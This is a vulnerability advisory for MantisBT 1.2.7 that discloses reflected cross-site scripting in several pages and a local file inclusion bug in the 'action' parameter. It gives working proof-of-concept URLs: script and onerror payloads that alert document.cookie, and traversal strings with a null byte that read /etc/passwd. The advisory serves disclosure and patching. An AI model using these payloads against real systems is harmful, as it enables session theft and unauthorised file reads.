Vulnerability ID: HTB23045
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_mantisbt.html
Product: MantisBT
Vendor: www.mantisbt.org ( http://www.mantisbt.org/ ) 
Vulnerable Version: 1.2.7 and probably prior
Tested Version: 1.2.7
Vendor Notification: 31 August 2011 
Vulnerability Type: Local File Inclusion, XSS
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MantisBT, which can be exploited to perform cross-site scripting, local file inclusion attacks.

1) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local resources via directory traversal sequences and URL-encoded NULL bytes.

http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_/../../../../../../../etc/passwd%00
http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_/../../../../../../../etc/passwd%00

3) Input appended to the URL after manage_config_email_page.php & manage_config_workflow_page.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

http://[host]/manage_config_email_page.php/%22%3E%3Cimg%20src=1%20onerror=%22javascript:alert%28document.cookie%29;%22%3E/
http://[host]/manage_config_workflow_page.php/%22%3E%3Cimg%20src=1%20onerror=%22javascript:alert%28document.cookie%29;%22%3E/

4) Input passed via the "platform", "os", "os_build",  GET parameter to bug_report_page.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

http://[host]/bug_report_page.php?platform=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Solution: Upgrade to the most recent version